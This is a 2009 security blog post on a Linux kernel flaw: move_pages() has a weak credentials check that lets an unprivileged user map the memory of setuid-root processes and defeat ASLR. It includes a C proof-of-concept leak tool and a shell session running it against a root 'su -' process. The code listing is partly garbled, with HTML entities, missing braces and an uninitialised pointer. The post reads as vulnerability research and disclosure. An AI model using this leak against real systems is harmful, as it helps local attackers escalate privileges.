jump to navigation

NUMA and ASLR 2009/08/28

Posted by dividead in Uncategorized.
Tags: , , , ,
1 comment so far

In the same link as mentioned in my previous post Tinnes hinted at interesting things to be done with NUMA having CAP_SYS_NICE through, say, pulseaudio.

I have no idea whether this is the issue he was referring to, but if it was then the issue is actually far more usable than he sketched, as the credentials check is rather wide, and this whole thing is reliably usable in local exploits without having to go through the trouble of getting CAP_SYS_NICE.

When checking out the NUMA code in the Linux kernel I found the following interesting case in the move_pages() systemcall defined in mm/migrate.c and meant to move pages between NUMA nodes, but also query the status of pages.

         * Check if this process has the right to modify the specified
         * process. The right exists if the process has administrative
         * capabilities, superuser privileges or the same
         * userid as the target process.
        tcred = __task_cred(task);
        if (cred->euid != tcred->suid && cred->euid != tcred->uid &&
            cred->uid  != tcred->suid && cred->uid  != tcred->uid &&
            !capable(CAP_SYS_NICE)) {
                err = -EPERM;
                goto out;

This credentials check certainly looks interesting, and is easy to pass when we have CAP_SYS_NICE, but there is more. First of all note that tcred specifies the credentials of the remote task, and cred the credentials of the current one. This test is then also passed if the remote uid or saved uid is equal to either our current uid of effective uid. This is easy to satisfy for all setuid root executables, as the uid of the remote executable will start out as the uid of the process that calls execve() on it.

So, if we spawn a process, then we can pass the credentials check in move_pages() and query their status.

Lets whip something up which queries pages through move_pages() to verify this.

/* dividead 2009 */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <syscall.h>

#define MOVE_PAGES_NUM          65536
#define ERROR(x)                ((x) == -EFAULT || (x) == -ENOENT)

int main(int argc, char **argv)
        void *address[MOVE_PAGES_NUM];
        int status[MOVE_PAGES_NUM];
        int start_used = 0;
        unsigned int i, j;
        unsigned char *p;
        void *start;
        pid_t pid;

        if (argc != 2) {
                fprintf(stderr, "error\n");

        pid = atoi(argv[1]);

        do {
                int ret;

                for (i = 0; i < MOVE_PAGES_NUM && p < p + 4096; i++, p += 4096)
                        address&#91;i&#93; = p;

                ret = syscall(__NR_move_pages, pid, i, address, NULL, &status, 0);
                if (ret == -1) {

                for (j = 0; j < i; j++) {
                        if (ERROR(status&#91;j&#93;) && start_used) {
                                printf("%p-%p\n", start, address&#91;j&#93;);
                                start_used = 0;
                        } else if (!ERROR(status&#91;j&#93;) && start_used == 0) {
                                start = address&#91;j&#93;;
                                start_used = 1;
        } while (p > p - 4096);
[dividead ~]$ id
uid=500(dividead) gid=500(dividead) groups=500(dividead)
[dividead ~]$ ps aux | grep "su -" | grep -v grep
root     19908  0.0  0.0 130992  1248 pts/3    S+   22:32   0:00 su -
[dividead ~]$ cat /proc/19908/status | grep Uid
Uid:    500     0       0       0
[dividead ~]$ ./numa 19908

As I’m running on x86-64 this will still take forever, but given some additional information, such as knowing the three most significant bytes of the address ranges are not mangled by ASLR anyway we can determine where things are mapped pretty decently.